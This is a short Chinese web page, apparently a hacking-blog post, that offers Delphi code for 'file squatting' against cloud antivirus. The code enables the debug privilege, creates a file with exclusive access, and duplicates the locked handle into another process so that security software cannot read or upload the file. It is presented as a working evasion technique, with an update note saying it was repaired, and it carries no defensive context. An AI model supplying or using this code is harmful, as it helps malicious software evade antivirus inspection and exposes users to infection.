RSS订阅 | 匿名投稿
您的位置:网站首页 > 系统 > 正文

文件占坑对付云安全

作者:admin 来源:未知 日期:2010/2/1 13:20:35 人气: 标签:

【20180204更新修复代码失效问题】

代码:

function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
a: DWORD;
const
SE_DEBUG_NAME = 'SeDebugPrivilege';
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if bEnabled then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
a := 0;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(tp), nil, a);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hToken);
end;
end;

function DupFile(FileName:String;PID:Cardinal):Boolean;
var
hFile,hProcess,hTarget:THandle;
begin
Result := False;
EnabledDebugPrivilege(True);
hProcess := OpenProcess(PROCESS_DUP_HANDLE, False, PID);
Try
if hProcess <> 0 then
begin
hFile := CreateFile(PChar(FileName), GENERIC_READ, 0, nil, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if hFile = INVALID_HANDLE_VALUE then Exit;
Result := DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTarget,
0, False, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE);
end;
Finally
CloseHandle(hProcess);
End;
end;


读完这篇文章后,您心情如何?
0
0
0
0
0
0
0
0
本文网址: